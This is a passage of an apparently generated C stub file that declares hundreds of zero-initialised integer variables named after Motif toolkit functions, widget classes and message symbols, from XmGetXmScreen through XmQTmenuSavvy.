int XmGetXmScreen = 0;
|
||||
int _XmGMCalcSize = 0;
|
||||
int _XmGMDoLayout = 0;
|
||||
int _XmGMEnforceMargin = 0;
|
||||
int _XmGMHandleGeometryManager = 0;
|
||||
int _XmGMHandleQueryGeometry = 0;
|
||||
int _XmGMOverlap = 0;
|
||||
int _XmGMReplyToQueryGeometry = 0;
|
||||
int _XmGrabKeyboard = 0;
|
||||
int _XmGrabPointer = 0;
|
||||
int xmGrabShellClassRec = 0;
|
||||
int _XmGrabShell_translations = 0;
|
||||
int xmGrabShellWidgetClass = 0;
|
||||
int _XmGrabTheFocus = 0;
|
||||
int _XmHandleGeometryManager = 0;
|
||||
int _XmHandleMenuButtonPress = 0;
|
||||
int _XmHandleQueryGeometry = 0;
|
||||
int _XmHandleSizeUpdate = 0;
|
||||
int _XmHashTableCount = 0;
|
||||
int _XmHashTableSize = 0;
|
||||
int _XmHeapAlloc = 0;
|
||||
int _XmHeapCreate = 0;
|
||||
int _XmHeapFree = 0;
|
||||
int xmHierarchyClassRec = 0;
|
||||
int XmHierarchyGetChildNodes = 0;
|
||||
int XmHierarchyOpenAllAncestors = 0;
|
||||
int xmHierarchyWidgetClass = 0;
|
||||
int _XmHighlightBorder = 0;
|
||||
int _XmHighlightColorDefault = 0;
|
||||
int _XmHighlightPixmapDefault = 0;
|
||||
int _XmHWQuery = 0;
|
||||
int xmI18ListClassRec = 0;
|
||||
int XmI18ListDeselectItems = 0;
|
||||
int XmI18ListDeselectRow = 0;
|
||||
int XmI18ListDoSearch = 0;
|
||||
int XmI18ListFindRow = 0;
|
||||
int XmI18ListGetSelectedRowArray = 0;
|
||||
int XmI18ListGetSelectedRows = 0;
|
||||
int XmI18ListMakeRowVisible = 0;
|
||||
int XmI18ListSelectAllItems = 0;
|
||||
int XmI18ListSelectItems = 0;
|
||||
int XmI18ListSelectRow = 0;
|
||||
int XmI18ListToggleRow = 0;
|
||||
int xmI18ListWidgetClass = 0;
|
||||
int _XmICCCallbackToICCEvent = 0;
|
||||
int _XmICCEventToICCCallback = 0;
|
||||
int xmIconBoxClassRec = 0;
|
||||
int XmIconBoxIsCellEmpty = 0;
|
||||
int xmIconBoxWidgetClass = 0;
|
||||
int xmIconButtonClassRec = 0;
|
||||
int xmIconButtonWidgetClass = 0;
|
||||
int xmIconGadgetClass = 0;
|
||||
int xmIconGadgetClassRec = 0;
|
||||
int _XmIconGadgetIconPos = 0;
|
||||
int xmIconGCacheObjClassRec = 0;
|
||||
int xmIconHeaderClass = 0;
|
||||
int xmIconHeaderClassRec = 0;
|
||||
int _XmIEndUpdate = 0;
|
||||
int _XmImChangeManaged = 0;
|
||||
int XmImCloseXIM = 0;
|
||||
int _XmImFreeShellData = 0;
|
||||
int XmImFreeXIC = 0;
|
||||
int XmImGetXIC = 0;
|
||||
int XmImGetXICResetState = 0;
|
||||
int XmImGetXIM = 0;
|
||||
int XmImMbLookupString = 0;
|
||||
int XmImMbResetIC = 0;
|
||||
int _XmImRealize = 0;
|
||||
int _XmImRedisplay = 0;
|
||||
int XmImRegister = 0;
|
||||
int _XmImResize = 0;
|
||||
int XmImSetFocusValues = 0;
|
||||
int XmImSetValues = 0;
|
||||
int XmImSetXIC = 0;
|
||||
int XmImUnregister = 0;
|
||||
int XmImUnsetFocus = 0;
|
||||
int XmImVaSetFocusValues = 0;
|
||||
int XmImVaSetValues = 0;
|
||||
int _XmIndexToTargets = 0;
|
||||
int _XmInheritClass = 0;
|
||||
int _XmInImageCache = 0;
|
||||
int _XmInitByteOrderChar = 0;
|
||||
int _XmInitializeExtensions = 0;
|
||||
int _XmInitializeMenuCursor = 0;
|
||||
int _XmInitializeScrollBars = 0;
|
||||
int _XmInitializeSyntheticResources = 0;
|
||||
int _XmInitializeTraits = 0;
|
||||
int _XmInitModifiers = 0;
|
||||
int _XmInitTargetsTable = 0;
|
||||
int _XmInputForGadget = 0;
|
||||
int _XmInputInGadget = 0;
|
||||
int _XmInstallImage = 0;
|
||||
int XmInstallImage = 0;
|
||||
int _XmInstallPixmap = 0;
|
||||
int _XmInstallProtocols = 0;
|
||||
int XmInternAtom = 0;
|
||||
int _XmIntersectionOf = 0;
|
||||
int _XmIntersectRect = 0;
|
||||
int _XmInvalidCursorIconQuark = 0;
|
||||
int _XmIsActiveTearOff = 0;
|
||||
int _XmIsEventUnique = 0;
|
||||
int _XmIsFastSubclass = 0;
|
||||
int _XmIsISO10646 = 0;
|
||||
int XmIsMotifWMRunning = 0;
|
||||
int _XmIsNavigable = 0;
|
||||
int _XmIsScrollableClipWidget = 0;
|
||||
int _XmIsSlowSubclass = 0;
|
||||
int _XmIsStandardMotifWidgetClass = 0;
|
||||
int _XmIsSubclassOf = 0;
|
||||
int _XmIsTearOffShellDescendant = 0;
|
||||
int XmIsTraversable = 0;
|
||||
int _XmIsViewable = 0;
|
||||
int _XmJpegErrorExit = 0;
|
||||
int _XmJpegGetImage = 0;
|
||||
int _XmLabel_AccessTextualRecord = 0;
|
||||
int _XmLabelCacheCompare = 0;
|
||||
int _XmLabelCalcTextRect = 0;
|
||||
int xmLabelClassRec = 0;
|
||||
int _XmLabelCloneMenuSavvy = 0;
|
||||
int _XmLabelConvert = 0;
|
||||
int _XmLabel_defaultTranslations = 0;
|
||||
int _XmLabelGadClassExtRec = 0;
|
||||
int xmLabelGadgetClass = 0;
|
||||
int xmLabelGadgetClassRec = 0;
|
||||
int xmLabelGCacheObjClassRec = 0;
|
||||
int _XmLabelGCalcTextRect = 0;
|
||||
int _XmLabelGCloneMenuSavvy = 0;
|
||||
int _XmLabelGCVTRedraw = 0;
|
||||
int _XmLabel_menuTranslations = 0;
|
||||
int _XmLabel_menu_traversal_events = 0;
|
||||
int _XmLabelPrimClassExtRec = 0;
|
||||
int _XmLabelSetBackgroundGC = 0;
|
||||
int xmLabelWidgetClass = 0;
|
||||
int _XmLeafPaneFocusOut = 0;
|
||||
int _XmLeaveGadget = 0;
|
||||
int _XmLinkCursorIconQuark = 0;
|
||||
int _XmListAddAfter = 0;
|
||||
int _XmListAddBefore = 0;
|
||||
int XmListAddItem = 0;
|
||||
int XmListAddItems = 0;
|
||||
int XmListAddItemsUnselected = 0;
|
||||
int XmListAddItemUnselected = 0;
|
||||
int xmListClassRec = 0;
|
||||
int _XmListCount = 0;
|
||||
int XmListDeleteAllItems = 0;
|
||||
int XmListDeleteItem = 0;
|
||||
int XmListDeleteItems = 0;
|
||||
int XmListDeleteItemsPos = 0;
|
||||
int XmListDeletePos = 0;
|
||||
int XmListDeletePositions = 0;
|
||||
int XmListDeselectAllItems = 0;
|
||||
int XmListDeselectItem = 0;
|
||||
int XmListDeselectPos = 0;
|
||||
int _XmListExec = 0;
|
||||
int _XmListFree = 0;
|
||||
int XmListGetKbdItemPos = 0;
|
||||
int XmListGetMatchPos = 0;
|
||||
int XmListGetSelectedPos = 0;
|
||||
int _XmListInit = 0;
|
||||
int XmListItemExists = 0;
|
||||
int XmListItemPos = 0;
|
||||
int _XmList_ListXlations1 = 0;
|
||||
int _XmList_ListXlations2 = 0;
|
||||
int XmListPosSelected = 0;
|
||||
int XmListPosToBounds = 0;
|
||||
int _XmListRemove = 0;
|
||||
int XmListReplaceItems = 0;
|
||||
int XmListReplaceItemsPos = 0;
|
||||
int XmListReplaceItemsPosUnselected = 0;
|
||||
int XmListReplaceItemsUnselected = 0;
|
||||
int XmListReplacePositions = 0;
|
||||
int XmListSelectItem = 0;
|
||||
int XmListSelectPos = 0;
|
||||
int XmListSetAddMode = 0;
|
||||
int XmListSetBottomItem = 0;
|
||||
int XmListSetBottomPos = 0;
|
||||
int XmListSetHorizPos = 0;
|
||||
int XmListSetItem = 0;
|
||||
int XmListSetKbdItemPos = 0;
|
||||
int XmListSetPos = 0;
|
||||
int XmListUpdateSelectedList = 0;
|
||||
int xmListWidgetClass = 0;
|
||||
int XmListYToPos = 0;
|
||||
int _XmLowerCase = 0;
|
||||
int _XmLowerTearOffObscuringPoppingDownPanes = 0;
|
||||
int xmMainWindowClassRec = 0;
|
||||
int XmMainWindowSep1 = 0;
|
||||
int XmMainWindowSep2 = 0;
|
||||
int XmMainWindowSep3 = 0;
|
||||
int XmMainWindowSetAreas = 0;
|
||||
int xmMainWindowWidgetClass = 0;
|
||||
int _XmMakeGeometryRequest = 0;
|
||||
int xmManagerClassRec = 0;
|
||||
int _XmManager_defaultTranslations = 0;
|
||||
int _XmManagerEnter = 0;
|
||||
int _XmManagerFocusIn = 0;
|
||||
int _XmManagerFocusInInternal = 0;
|
||||
int _XmManagerFocusOut = 0;
|
||||
int _XmManagerGetValuesHook = 0;
|
||||
int _XmManagerHelp = 0;
|
||||
int _XmManagerHighlightPixmapDefault = 0;
|
||||
int _XmManagerImportArgs = 0;
|
||||
int _XmManagerLeave = 0;
|
||||
int _XmManager_managerTraversalTranslations = 0;
|
||||
int _XmManagerParentActivate = 0;
|
||||
int _XmManagerParentCancel = 0;
|
||||
int _XmManagerTopShadowPixmapDefault = 0;
|
||||
int _XmManagerUnmap = 0;
|
||||
int xmManagerWidgetClass = 0;
|
||||
int _XmMapBtnEvent = 0;
|
||||
int _XmMapHashTable = 0;
|
||||
int _XmMapKeyEvent = 0;
|
||||
int _XmMapKeyEvents = 0;
|
||||
int XmMapSegmentEncoding = 0;
|
||||
int _XmMatchBDragEvent = 0;
|
||||
int _XmMatchBSelectEvent = 0;
|
||||
int _XmMatchBtnEvent = 0;
|
||||
int _XmMatchKeyEvent = 0;
|
||||
int _XmMenuBarFix = 0;
|
||||
int _XmMenuBarGadgetSelect = 0;
|
||||
int _XmMenuBtnDown = 0;
|
||||
int _XmMenuBtnUp = 0;
|
||||
int _XmMenuButtonTakeFocus = 0;
|
||||
int _XmMenuButtonTakeFocusUp = 0;
|
||||
int _XmMenuCursorContext = 0;
|
||||
int _XmMenuEscape = 0;
|
||||
int _XmMenuFocus = 0;
|
||||
int _XmMenuFocusIn = 0;
|
||||
int _XmMenuFocusOut = 0;
|
||||
int _XmMenuGadgetDrag = 0;
|
||||
int _XmMenuGadgetTraverseCurrent = 0;
|
||||
int _XmMenuGadgetTraverseCurrentUp = 0;
|
||||
int _XmMenuGrabKeyboardAndPointer = 0;
|
||||
int _XmMenuHelp = 0;
|
||||
int _XmMenuPopDown = 0;
|
||||
int XmMenuPosition = 0;
|
||||
int _XmMenuSetInPMMode = 0;
|
||||
int xmMenuShellClassRec = 0;
|
||||
int _XmMenuShell_translations = 0;
|
||||
int xmMenuShellWidgetClass = 0;
|
||||
int _XmMenuTraversalHandler = 0;
|
||||
int _XmMenuTraverseDown = 0;
|
||||
int _XmMenuTraverseLeft = 0;
|
||||
int _XmMenuTraverseRight = 0;
|
||||
int _XmMenuTraverseUp = 0;
|
||||
int _XmMenuUnmap = 0;
|
||||
int xmMessageBoxClassRec = 0;
|
||||
int _XmMessageBoxGeoMatrixCreate = 0;
|
||||
int XmMessageBoxGetChild = 0;
|
||||
int _XmMessageBoxNoGeoRequest = 0;
|
||||
int xmMessageBoxWidgetClass = 0;
|
||||
int _XmMessageTypeToReason = 0;
|
||||
int _XmMgrTraversal = 0;
|
||||
int _XmMicroSleep = 0;
|
||||
int _Xm_MOTIF_DRAG_AND_DROP_MESSAGE = 0;
|
||||
int _XmMoveCursorIconQuark = 0;
|
||||
int _XmMoveObject = 0;
|
||||
int _XmMoveWidget = 0;
|
||||
int _XmMsgBaseClass_0000 = 0;
|
||||
int _XmMsgBaseClass_0001 = 0;
|
||||
int _XmMsgBulletinB_0001 = 0;
|
||||
int _XmMsgCascadeB_0000 = 0;
|
||||
int _XmMsgCascadeB_0001 = 0;
|
||||
int _XmMsgCascadeB_0002 = 0;
|
||||
int _XmMsgCascadeB_0003 = 0;
|
||||
int _XmMsgColObj_0001 = 0;
|
||||
int _XmMsgColObj_0002 = 0;
|
||||
int _XmMsgComboBox_0000 = 0;
|
||||
int _XmMsgComboBox_0001 = 0;
|
||||
int _XmMsgComboBox_0004 = 0;
|
||||
int _XmMsgComboBox_0005 = 0;
|
||||
int _XmMsgComboBox_0006 = 0;
|
||||
int _XmMsgComboBox_0007 = 0;
|
||||
int _XmMsgComboBox_0008 = 0;
|
||||
int _XmMsgComboBox_0009 = 0;
|
||||
int _XmMsgComboBox_0010 = 0;
|
||||
int _XmMsgComboBox_0011 = 0;
|
||||
int _XmMsgComboBox_0012 = 0;
|
||||
int _XmMsgComboBox_0013 = 0;
|
||||
int _XmMsgComboBox_0014 = 0;
|
||||
int _XmMsgCommand_0000 = 0;
|
||||
int _XmMsgCommand_0001 = 0;
|
||||
int _XmMsgCommand_0002 = 0;
|
||||
int _XmMsgCommand_0003 = 0;
|
||||
int _XmMsgCommand_0004 = 0;
|
||||
int _XmMsgCommand_0005 = 0;
|
||||
int _XmMsgContainer_0000 = 0;
|
||||
int _XmMsgContainer_0001 = 0;
|
||||
int _XmMsgCutPaste_0000 = 0;
|
||||
int _XmMsgCutPaste_0001 = 0;
|
||||
int _XmMsgCutPaste_0002 = 0;
|
||||
int _XmMsgCutPaste_0003 = 0;
|
||||
int _XmMsgCutPaste_0004 = 0;
|
||||
int _XmMsgCutPaste_0005 = 0;
|
||||
int _XmMsgCutPaste_0006 = 0;
|
||||
int _XmMsgCutPaste_0007 = 0;
|
||||
int _XmMsgCutPaste_0008 = 0;
|
||||
int _XmMsgCutPaste_0009 = 0;
|
||||
int _XmMsgDataF_0000 = 0;
|
||||
int _XmMsgDataF_0001 = 0;
|
||||
int _XmMsgDataF_0002 = 0;
|
||||
int _XmMsgDataF_0003 = 0;
|
||||
int _XmMsgDataF_0004 = 0;
|
||||
int _XmMsgDataF_0005 = 0;
|
||||
int _XmMsgDataF_0006 = 0;
|
||||
int _XmMsgDataFWcs_0000 = 0;
|
||||
int _XmMsgDataFWcs_0001 = 0;
|
||||
int _XmMsgDialogS_0000 = 0;
|
||||
int _XmMsgDisplay_0001 = 0;
|
||||
int _XmMsgDisplay_0002 = 0;
|
||||
int _XmMsgDisplay_0003 = 0;
|
||||
int _XmMsgDragBS_0000 = 0;
|
||||
int _XmMsgDragBS_0001 = 0;
|
||||
int _XmMsgDragBS_0002 = 0;
|
||||
int _XmMsgDragBS_0003 = 0;
|
||||
int _XmMsgDragBS_0004 = 0;
|
||||
int _XmMsgDragBS_0005 = 0;
|
||||
int _XmMsgDragBS_0006 = 0;
|
||||
int _XmMsgDragC_0001 = 0;
|
||||
int _XmMsgDragC_0002 = 0;
|
||||
int _XmMsgDragC_0003 = 0;
|
||||
int _XmMsgDragC_0004 = 0;
|
||||
int _XmMsgDragC_0005 = 0;
|
||||
int _XmMsgDragC_0006 = 0;
|
||||
int _XmMsgDragICC_0000 = 0;
|
||||
int _XmMsgDragICC_0001 = 0;
|
||||
int _XmMsgDragIcon_0000 = 0;
|
||||
int _XmMsgDragIcon_0001 = 0;
|
||||
int _XmMsgDragOverS_0000 = 0;
|
||||
int _XmMsgDragOverS_0001 = 0;
|
||||
int _XmMsgDragOverS_0002 = 0;
|
||||
int _XmMsgDragOverS_0003 = 0;
|
||||
int _XmMsgDragUnder_0000 = 0;
|
||||
int _XmMsgDragUnder_0001 = 0;
|
||||
int _XmMsgDropSMgr_0001 = 0;
|
||||
int _XmMsgDropSMgr_0002 = 0;
|
||||
int _XmMsgDropSMgr_0003 = 0;
|
||||
int _XmMsgDropSMgr_0004 = 0;
|
||||
int _XmMsgDropSMgr_0005 = 0;
|
||||
int _XmMsgDropSMgr_0006 = 0;
|
||||
int _XmMsgDropSMgr_0007 = 0;
|
||||
int _XmMsgDropSMgr_0008 = 0;
|
||||
int _XmMsgDropSMgr_0009 = 0;
|
||||
int _XmMsgDropSMgr_0010 = 0;
|
||||
int _XmMsgDropSMgrI_0001 = 0;
|
||||
int _XmMsgDropSMgrI_0002 = 0;
|
||||
int _XmMsgDropSMgrI_0003 = 0;
|
||||
int _XmMsgForm_0000 = 0;
|
||||
int _XmMsgForm_0002 = 0;
|
||||
int _XmMsgForm_0003 = 0;
|
||||
int _XmMsgGadget_0000 = 0;
|
||||
int _XmMsgLabel_0003 = 0;
|
||||
int _XmMsgLabel_0004 = 0;
|
||||
int _XmMsgList_0000 = 0;
|
||||
int _XmMsgList_0005 = 0;
|
||||
int _XmMsgList_0006 = 0;
|
||||
int _XmMsgList_0007 = 0;
|
||||
int _XmMsgList_0008 = 0;
|
||||
int _XmMsgList_0009 = 0;
|
||||
int _XmMsgList_0010 = 0;
|
||||
int _XmMsgList_0011 = 0;
|
||||
int _XmMsgList_0012 = 0;
|
||||
int _XmMsgList_0013 = 0;
|
||||
int _XmMsgList_0014 = 0;
|
||||
int _XmMsgList_0015 = 0;
|
||||
int _XmMsgMainW_0000 = 0;
|
||||
int _XmMsgMainW_0001 = 0;
|
||||
int _XmMsgManager_0000 = 0;
|
||||
int _XmMsgManager_0001 = 0;
|
||||
int _XmMsgMenuShell_0000 = 0;
|
||||
int _XmMsgMenuShell_0001 = 0;
|
||||
int _XmMsgMenuShell_0002 = 0;
|
||||
int _XmMsgMenuShell_0003 = 0;
|
||||
int _XmMsgMenuShell_0004 = 0;
|
||||
int _XmMsgMenuShell_0005 = 0;
|
||||
int _XmMsgMenuShell_0006 = 0;
|
||||
int _XmMsgMenuShell_0007 = 0;
|
||||
int _XmMsgMenuShell_0008 = 0;
|
||||
int _XmMsgMenuShell_0009 = 0;
|
||||
int _XmMsgMessageB_0003 = 0;
|
||||
int _XmMsgMessageB_0004 = 0;
|
||||
int _XmMsgMotif_0000 = 0;
|
||||
int _XmMsgMotif_0001 = 0;
|
||||
int _XmMsgNotebook_0000 = 0;
|
||||
int _XmMsgPanedW_0000 = 0;
|
||||
int _XmMsgPanedW_0001 = 0;
|
||||
int _XmMsgPanedW_0002 = 0;
|
||||
int _XmMsgPanedW_0004 = 0;
|
||||
int _XmMsgPanedW_0005 = 0;
|
||||
int _XmMsgPixConv_0000 = 0;
|
||||
int _XmMsgPrimitive_0000 = 0;
|
||||
int _XmMsgProtocols_0000 = 0;
|
||||
int _XmMsgProtocols_0001 = 0;
|
||||
int _XmMsgProtocols_0002 = 0;
|
||||
int _XmMsgRegion_0000 = 0;
|
||||
int _XmMsgRepType_0000 = 0;
|
||||
int _XmMsgRepType_0001 = 0;
|
||||
int _XmMsgRepType_0002 = 0;
|
||||
int _XmMsgResConvert_0001 = 0;
|
||||
int _XmMsgResConvert_0002 = 0;
|
||||
int _XmMsgResConvert_0003 = 0;
|
||||
int _XmMsgResConvert_0005 = 0;
|
||||
int _XmMsgResConvert_0006 = 0;
|
||||
int _XmMsgResConvert_0007 = 0;
|
||||
int _XmMsgResConvert_0008 = 0;
|
||||
int _XmMsgResConvert_0009 = 0;
|
||||
int _XmMsgResConvert_0010 = 0;
|
||||
int _XmMsgResConvert_0011 = 0;
|
||||
int _XmMsgResConvert_0012 = 0;
|
||||
int _XmMsgResConvert_0013 = 0;
|
||||
int _XmMsgResource_0001 = 0;
|
||||
int _XmMsgResource_0002 = 0;
|
||||
int _XmMsgResource_0003 = 0;
|
||||
int _XmMsgResource_0004 = 0;
|
||||
int _XmMsgResource_0005 = 0;
|
||||
int _XmMsgResource_0006 = 0;
|
||||
int _XmMsgResource_0007 = 0;
|
||||
int _XmMsgResource_0008 = 0;
|
||||
int _XmMsgResource_0009 = 0;
|
||||
int _XmMsgResource_0010 = 0;
|
||||
int _XmMsgResource_0011 = 0;
|
||||
int _XmMsgResource_0012 = 0;
|
||||
int _XmMsgResource_0013 = 0;
|
||||
int _XmMsgRowColText_0024 = 0;
|
||||
int _XmMsgRowColumn_0000 = 0;
|
||||
int _XmMsgRowColumn_0001 = 0;
|
||||
int _XmMsgRowColumn_0002 = 0;
|
||||
int _XmMsgRowColumn_0003 = 0;
|
||||
int _XmMsgRowColumn_0004 = 0;
|
||||
int _XmMsgRowColumn_0005 = 0;
|
||||
int _XmMsgRowColumn_0007 = 0;
|
||||
int _XmMsgRowColumn_0008 = 0;
|
||||
int _XmMsgRowColumn_0015 = 0;
|
||||
int _XmMsgRowColumn_0016 = 0;
|
||||
int _XmMsgRowColumn_0017 = 0;
|
||||
int _XmMsgRowColumn_0018 = 0;
|
||||
int _XmMsgRowColumn_0019 = 0;
|
||||
int _XmMsgRowColumn_0020 = 0;
|
||||
int _XmMsgRowColumn_0022 = 0;
|
||||
int _XmMsgRowColumn_0023 = 0;
|
||||
int _XmMsgRowColumn_0025 = 0;
|
||||
int _XmMsgRowColumn_0026 = 0;
|
||||
int _XmMsgRowColumn_0027 = 0;
|
||||
int _XmMsgScale_0000 = 0;
|
||||
int _XmMsgScale_0001 = 0;
|
||||
int _XmMsgScale_0002 = 0;
|
||||
int _XmMsgScale_0006 = 0;
|
||||
int _XmMsgScale_0007 = 0;
|
||||
int _XmMsgScale_0008 = 0;
|
||||
int _XmMsgScale_0009 = 0;
|
||||
int _XmMsgScaleScrBar_0004 = 0;
|
||||
int _XmMsgScreen_0000 = 0;
|
||||
int _XmMsgScreen_0001 = 0;
|
||||
int _XmMsgScrollBar_0000 = 0;
|
||||
int _XmMsgScrollBar_0001 = 0;
|
||||
int _XmMsgScrollBar_0002 = 0;
|
||||
int _XmMsgScrollBar_0003 = 0;
|
||||
int _XmMsgScrollBar_0004 = 0;
|
||||
int _XmMsgScrollBar_0005 = 0;
|
||||
int _XmMsgScrollBar_0006 = 0;
|
||||
int _XmMsgScrollBar_0007 = 0;
|
||||
int _XmMsgScrollBar_0008 = 0;
|
||||
int _XmMsgScrolledW_0004 = 0;
|
||||
int _XmMsgScrolledW_0005 = 0;
|
||||
int _XmMsgScrolledW_0006 = 0;
|
||||
int _XmMsgScrolledW_0007 = 0;
|
||||
int _XmMsgScrolledW_0008 = 0;
|
||||
int _XmMsgScrolledW_0009 = 0;
|
||||
int _XmMsgScrollFrameT_0000 = 0;
|
||||
int _XmMsgScrollFrameT_0001 = 0;
|
||||
int _XmMsgScrollVis_0000 = 0;
|
||||
int _XmMsgSelectioB_0001 = 0;
|
||||
int _XmMsgSelectioB_0002 = 0;
|
||||
int _XmMsgSpinB_0003 = 0;
|
||||
int _XmMsgSpinB_0004 = 0;
|
||||
int _XmMsgSpinB_0005 = 0;
|
||||
int _XmMsgSpinB_0006 = 0;
|
||||
int _XmMsgSpinB_0007 = 0;
|
||||
int _XmMsgSpinB_0008 = 0;
|
||||
int _XmMsgSSpinB_0001 = 0;
|
||||
int _XmMsgSSpinB_0002 = 0;
|
||||
int _XmMsgSSpinB_0003 = 0;
|
||||
int _XmMsgText_0000 = 0;
|
||||
int _XmMsgTextF_0000 = 0;
|
||||
int _XmMsgTextF_0001 = 0;
|
||||
int _XmMsgTextF_0002 = 0;
|
||||
int _XmMsgTextF_0003 = 0;
|
||||
int _XmMsgTextF_0004 = 0;
|
||||
int _XmMsgTextF_0006 = 0;
|
||||
int _XmMsgTextFWcs_0000 = 0;
|
||||
int _XmMsgTextIn_0000 = 0;
|
||||
int _XmMsgTextOut_0000 = 0;
|
||||
int _XmMsgTransfer_0000 = 0;
|
||||
int _XmMsgTransfer_0002 = 0;
|
||||
int _XmMsgTransfer_0003 = 0;
|
||||
int _XmMsgTransfer_0004 = 0;
|
||||
int _XmMsgTransfer_0005 = 0;
|
||||
int _XmMsgTransfer_0006 = 0;
|
||||
int _XmMsgTransfer_0007 = 0;
|
||||
int _XmMsgVaSimple_0000 = 0;
|
||||
int _XmMsgVaSimple_0001 = 0;
|
||||
int _XmMsgVaSimple_0002 = 0;
|
||||
int _XmMsgVendor_0000 = 0;
|
||||
int _XmMsgVendor_0001 = 0;
|
||||
int _XmMsgVendor_0002 = 0;
|
||||
int _XmMsgVendor_0003 = 0;
|
||||
int _XmMsgVisual_0000 = 0;
|
||||
int _XmMsgVisual_0001 = 0;
|
||||
int _XmMsgVisual_0002 = 0;
|
||||
int _XmMsgXmIm_0000 = 0;
|
||||
int _XmMsgXmRenderT_0000 = 0;
|
||||
int _XmMsgXmRenderT_0001 = 0;
|
||||
int _XmMsgXmRenderT_0002 = 0;
|
||||
int _XmMsgXmRenderT_0003 = 0;
|
||||
int _XmMsgXmRenderT_0004 = 0;
|
||||
int _XmMsgXmRenderT_0005 = 0;
|
||||
int _XmMsgXmString_0000 = 0;
|
||||
int _XmMsgXmTabList_0000 = 0;
|
||||
int xmMultiListClassRec = 0;
|
||||
int XmMultiListDeselectItems = 0;
|
||||
int XmMultiListDeselectRow = 0;
|
||||
int XmMultiListGetSelectedRowArray = 0;
|
||||
int XmMultiListGetSelectedRows = 0;
|
||||
int XmMultiListMakeRowVisible = 0;
|
||||
int XmMultiListSelectAllItems = 0;
|
||||
int XmMultiListSelectItems = 0;
|
||||
int XmMultiListSelectRow = 0;
|
||||
int XmMultiListToggleRow = 0;
|
||||
int XmMultiListUnselectAllItems = 0;
|
||||
int XmMultiListUnselectItem = 0;
|
||||
int xmMultiListWidgetClass = 0;
|
||||
int _XmNavigate = 0;
|
||||
int _XmNavigChangeManaged = 0;
|
||||
int _XmNavigDestroy = 0;
|
||||
int _XmNavigInitialize = 0;
|
||||
int _XmNavigResize = 0;
|
||||
int _XmNavigSetValues = 0;
|
||||
int _XmNewTravGraph = 0;
|
||||
int _XmNoneCursorIconQuark = 0;
|
||||
int xmNotebookClassRec = 0;
|
||||
int XmNotebookGetPageInfo = 0;
|
||||
int _XmNotebook_manager_translations = 0;
|
||||
int _XmNotebook_TabAccelerators = 0;
|
||||
int xmNotebookWidgetClass = 0;
|
||||
int _XmNotifyChildrenVisual = 0;
|
||||
int _XmNumDSResources = 0;
|
||||
int XmObjectAtPoint = 0;
|
||||
int _XmOffsetArrow = 0;
|
||||
int XmOptionButtonGadget = 0;
|
||||
int XmOptionLabelGadget = 0;
|
||||
int _XmOSAbsolutePathName = 0;
|
||||
int _XmOSBuildFileList = 0;
|
||||
int _XmOSBuildFileName = 0;
|
||||
int _XmOSFileCompare = 0;
|
||||
int _XmOSFindPathParts = 0;
|
||||
int _XmOSFindPatternPart = 0;
|
||||
int _XmOSGenerateMaskName = 0;
|
||||
int _XmOSGetCharDirection = 0;
|
||||
int _XmOSGetDirEntries = 0;
|
||||
int _XmOSGetHomeDirName = 0;
|
||||
int _XmOSGetInitialCharsDirection = 0;
|
||||
int _XmOSGetLocalizedString = 0;
|
||||
int XmOSGetMethod = 0;
|
||||
int _XmOSInitPath = 0;
|
||||
int _XmOSKeySymToCharacter = 0;
|
||||
int _XmOSPutenv = 0;
|
||||
int _XmOSQualifyFileSpec = 0;
|
||||
int xmOutlineClassRec = 0;
|
||||
int xmOutlineWidgetClass = 0;
|
||||
int XMoveResizeWindow = 0;
|
||||
int XMoveWindow = 0;
|
||||
int xmPanedClassRec = 0;
|
||||
int XmPanedGetPanes = 0;
|
||||
int xmPanedWidgetClass = 0;
|
||||
int xmPanedWindowClassRec = 0;
|
||||
int xmPanedWindowWidgetClass = 0;
|
||||
int _XmParentProcess = 0;
|
||||
int XmParseMappingCreate = 0;
|
||||
int XmParseMappingFree = 0;
|
||||
int XmParseMappingGetValues = 0;
|
||||
int XmParseMappingSetValues = 0;
|
||||
int XmParsePicture = 0;
|
||||
int XmParseTableFree = 0;
|
||||
int _XmPathIsTraversable = 0;
|
||||
int XmPictureDelete = 0;
|
||||
int XmPictureDeleteState = 0;
|
||||
int XmPictureDoAutoFill = 0;
|
||||
int XmPictureGetCurrentString = 0;
|
||||
int XmPictureProcessCharacter = 0;
|
||||
int _XmPngGetImage = 0;
|
||||
int _XmPopdown = 0;
|
||||
int _XmPopup = 0;
|
||||
int _XmPopupSpringLoaded = 0;
|
||||
int _XmPopWidgetExtData = 0;
|
||||
int _XmPostPopupMenu = 0;
|
||||
int _XmPrimbaseClassExtRec = 0;
|
||||
int _XmPrimClassExtRec = 0;
|
||||
int xmPrimitiveClassRec = 0;
|
||||
int _XmPrimitive_defaultTranslations = 0;
|
||||
int _XmPrimitiveEnter = 0;
|
||||
int _XmPrimitiveFocusIn = 0;
|
||||
int _XmPrimitiveFocusInInternal = 0;
|
||||
int _XmPrimitiveFocusOut = 0;
|
||||
int _XmPrimitiveGetValuesHook = 0;
|
||||
int _XmPrimitiveHelp = 0;
|
||||
int _XmPrimitiveHighlightPixmapDefault = 0;
|
||||
int _XmPrimitiveImportArgs = 0;
|
||||
int _XmPrimitiveLeave = 0;
|
||||
int _XmPrimitiveParentActivate = 0;
|
||||
int _XmPrimitiveParentCancel = 0;
|
||||
int _XmPrimitiveTopShadowPixmapDefault = 0;
|
||||
int _XmPrimitiveUnmap = 0;
|
||||
int xmPrimitiveWidgetClass = 0;
|
||||
int _XmProcessDrag = 0;
|
||||
int _XmProcessTraversal = 0;
|
||||
int XmProcessTraversal = 0;
|
||||
int xmProtocolClassRec = 0;
|
||||
int xmProtocolObjectClass = 0;
|
||||
int _XmPushB_defaultTranslations = 0;
|
||||
int _XmPushBGadClassExtRec = 0;
|
||||
int _XmPushB_menuTranslations = 0;
|
||||
int _XmPushBPrimClassExtRec = 0;
|
||||
int xmPushButtonClassRec = 0;
|
||||
int xmPushButtonGadgetClass = 0;
|
||||
int xmPushButtonGadgetClassRec = 0;
|
||||
int xmPushButtonGCacheObjClassRec = 0;
|
||||
int xmPushButtonWidgetClass = 0;
|
||||
int _XmPushWidgetExtData = 0;
|
||||
int _XmPutScaledImage = 0;
|
||||
int XmQmotif = 0;
|
||||
int XmQTaccessColors = 0;
|
||||
int XmQTaccessTextual = 0;
|
||||
int XmQTactivatable = 0;
|
||||
int XmQTcareParentVisual = 0;
|
||||
int _XmQTclipWindow = 0;
|
||||
int XmQTcontainer = 0;
|
||||
int XmQTcontainerItem = 0;
|
||||
int XmQTdialogShellSavvy = 0;
|
||||
int XmQTjoinSide = 0;
|
||||
int XmQTmenuSavvy = 0;
|
||||
